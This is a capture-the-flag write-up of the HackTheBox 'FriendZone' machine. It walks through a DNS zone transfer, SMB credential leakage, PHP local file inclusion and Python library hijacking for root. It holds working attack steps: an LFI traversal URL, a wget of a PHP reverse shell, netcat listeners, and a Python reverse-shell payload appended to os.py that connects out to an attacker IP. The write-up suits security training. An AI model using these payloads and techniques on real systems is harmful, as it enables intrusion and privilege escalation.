FriendZone

HackTheBox FriendZone machine writeup. DNS zone transfer, SMB credentials, LFI via pagename parameter, Python library hijacking.

Untitled

Reconnaissance

First thing first, we run a quick initial nmap scan to see which ports are open and which services are running on those ports.

BASH
target="10.10.10.123"

ports=$(sudo nmap -p- --min-rate=1000 -T4 $target | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

sudo nmap -p$ports -sC -sV $target -vvv

Untitled

TEXT
PORT    STATE SERVICE     REASON         VERSION
21/tcp  open  ftp         syn-ack ttl 63 vsftpd 3.0.3
22/tcp  open  ssh         syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4
53/tcp  open  domain      syn-ack ttl 63 ISC BIND 9.11.3-1ubuntu1.2
80/tcp  open  http        syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X
443/tcp open  ssl/http    syn-ack ttl 63 Apache httpd 2.4.29
445/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4.7.6-Ubuntu

We get back the following result showing that seven ports are open:

  • Port 21: running ftp vsftpd 3.0.3
  • Port 22: running OpenSSH 7.6p1 Ubuntu 4
  • Port 53: running ISC BIND 9.11.3–1ubuntu1.2 (DNS)
  • Ports 80 & 443: running Apache httpd 2.4.29
  • Ports 139 and 445: Samba smbd 4.7.6-Ubuntu

Moreover, I’ll take careful notice of the domain in the TLS certificate, commonName=friendzone.red.

Similarly, we run an nmap scan with the -sU flag enabled to run a UDP scan.

BASH
sudo nmap -Pn -sU --open -p- --min-rate 10000 $target

Untitled

Enumeration

SMB

I’ll go to smbmap for a quick look at the shares and my permissions:

Untitled

It’s interesting to see the comment on Files as /etc/Files. Using the nmap script smb-enum-shares.nse tells me exactly where each share maps on the filesystem.

Let’s investigate the content of the shares that we can read with SMB Null Authentication.

general

Untitled

Ok, wow! Credentials found! Let’s immediately try those credentials on FTP and SSH! Unfortunately, they don’t work.

Development

Untitled

Ok, that’s empty — but readable and writeable.

HTTP (80/tcp)

Untitled

We can see the email is info@friendzoneportal.red. The friendzoneportal.red could be a possible domain name.

DNS (53/tcp and 53/udp)

TCP is only used in DNS when the response size is greater than 512 bytes. Typically this is associated with Zone Transfers. I’ll do that with dig:

BASH
dig axfr friendzone.red  @10.10.10.123
TEXT
friendzone.red.		604800	IN	SOA	localhost. root.localhost.
friendzone.red.		604800	IN	A	127.0.0.1
administrator1.friendzone.red. 604800 IN A	127.0.0.1
hr.friendzone.red.	604800	IN	A	127.0.0.1
uploads.friendzone.red.	604800	IN	A	127.0.0.1

Untitled

Then, try with the other domain name we collected, friendzoneportal.red.

BASH
dig axfr friendzoneportal.red  @10.10.10.123
TEXT
admin.friendzoneportal.red. 604800 IN	A	127.0.0.1
files.friendzoneportal.red. 604800 IN	A	127.0.0.1
imports.friendzoneportal.red. 604800 IN	A	127.0.0.1
vpn.friendzoneportal.red. 604800 IN	A	127.0.0.1

Untitled

Let’s update our /etc/hosts file with those subdomains.

Untitled

Now we start visiting the subdomains we found.

The login form at administrator1.friendzone.red accepts the credentials found within the SMB folder.

Untitled

We get access to the dashboard.php webpage. This site is “untested application” with some sloppy text including an error message:

Untitled

If we add the suggested parameters to the URL and visit https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp:

Untitled

Likely, there’s a LFI here. Let’s analyze the two parameters we have: image_id and pagename.

Since we know the existence of the page timestamp.php, we can think that the backend is taking the string timestamp and adding to it .php and then it is executed. The output is then shown.

Let’s try with another page name that we know to exist, such as login.

Untitled

There we go. We can assume that this is likely doing a include($_GET["pagename"] . ".php").

We can also try to access pages outside this directory. On the uploads subdomain, there’s an upload.php page. Let’s try:

TEXT
pagename=../uploads/upload

Untitled

Read PHP Source

Using php://filter, we can also display the contents of executable files such as .php, rather than executing them. This allows us to review PHP files for sensitive information and analyze the web application’s logic.

If we visit pagename=php://filter/convert.base64-encode/resource=dashboard, we can see a long base64 string on the page:

Untitled

Decoding it reveals the source code with include($_GET["pagename"].".php") confirmed.

Webshell

We may want to leverage this LFI to get a webshell. We’ll use SMB access to drop a simple php command shell into the Development share, which nmap told us was /etc/Development.

Untitled

Now we can try to traverse the directory and access that shell:

TEXT
https://administrator1.friendzone.red/dashboard.php?image_id=&pagename=../../../etc/Development/shell&cmd=id

Untitled

Let’s get the pentestmonkey reverse shell:

BASH
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Change the IP and port and upload it to the Development share. Then listen on port 53:

BASH
rlwrap nc -nvlp 53

Untitled

We have a shell as www-data. Let’s upgrade it to a better shell.

BASH
python -c 'import pty; pty.spawn("/bin/bash")'

Untitled

PrivEsc

Running linpeas.sh gives us some interesting files to check.

Untitled

Untitled

The last one corresponds to the creds.txt file we already got through SMB Null session. The first one contains apparently mysql credentials for the friend user. Let’s try them as standard credentials for the user (password reuse).

Untitled

We can also SSH with this user, so that our reverse shell is no more needed:

Untitled

Now, we need a way to get to root. While Linpeas doesn’t help us that much, let’s try inspecting processes with pspy. We notice two interesting lines:

Untitled

There’s a scheduled task running a Python script that imports the os module. Let’s see its content:

BASH
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

# I need to edit the script later
# Sam ~ python developer

A lot of commented lines. Most of the script is commented out so there isn’t much to do there. It does import the os module. Maybe we can hijack that. Locate the module on the machine.

Untitled

It seems that we have write permission over os.py.

Untitled

This is obviously a security misconfiguration. As a non-privileged user, I should only have read access to the script. If we add a reverse shell to the script and wait for the root owned scheduled task to run, we’ll get back a reverse shell with root privileges!

So, we get a Python reverse shell and edit IP and port accordingly:

PYTHON
import socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.47",443));
dup2(s.fileno(),0);
dup2(s.fileno(),1);
dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

It’s a standard python reverse shell, except that instead of os.dup2(), I just write dup2(). That’s because I’m in the os module right now.

Then, we append it at the end of the /usr/lib/python2.7/os.py file and wait that our listener will get the root reverse shell connection.

BASH
rlwrap nc -nvlp 443

Untitled